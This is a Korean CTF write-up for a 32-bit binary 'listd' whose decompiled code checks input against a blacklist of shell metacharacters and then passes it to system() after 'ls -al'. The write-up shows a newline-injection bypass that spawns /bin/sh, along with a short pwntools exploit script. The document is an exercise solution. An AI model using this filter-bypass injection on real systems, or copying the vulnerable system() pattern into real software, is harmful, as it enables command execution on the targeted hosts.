문제


listd 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

file 명령어 결과는 다음과 같다.

listd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=acb3a41b7e1afaf7a9ff6bd06bad502136c4021f, not stripped

바이너리 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-30Ch]
  char buf; // [esp+21Ch] [ebp-10Ch]
  unsigned int v6; // [esp+31Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  memset(&buf, 0, 0x100u);
  read(0, &buf, 0x100u);
  if ( strchr(&buf, '`')
    || strchr(&buf, '|')
    || strchr(&buf, '&')
    || strchr(&buf, '$')
    || strchr(&buf, '\'')
    || strchr(&buf, '"')
    || strchr(&buf, '`')
    || strchr(&buf, ';')
    || strchr(&buf, '`') )
  {
    puts("What are you doing ?");
    exit(0);
  }
  sprintf(&s, "ls -al %s", &buf);
  system(&s);
  return 0;
}
read로 입력을 받고 입력값에 “’”, “ ”, “&”, “$”, “", “””, “`”, “;” 등이 있으면 exit() 함수를 호출한다.

따라서 위의 문자 없이 system 함수에서 “ls -al”과 함께 “/bin/sh”를 실행해야 한다.

처음에는 strchr을 우회하기 위해서 payload를 “\x00”+”;”+”/bin/sh”와 같이 구성해봤다. 하지만 %s에 의해서 NULL 뒤에 있는 부분은 출력되지 않았다.

그 다음 방안으로 “\0x0a” + “/bin/sh”를 넣었더니 system 함수에서 “ls -al”과 “/bin/sh”가 실행되어 쉘을 획득할 수 있었다. (“\x0a”+”;”+”/bin/sh”로 payload를 구성하면 strchr에 의해서 exit함수가 호출된다.)

풀이


#!/usr/bin/python

from pwn import *

file_path="/home/sungyun/round2/listd/listd"

p=process(file_path)

p.send("\x0a"+"/bin/sh")

p.interactive()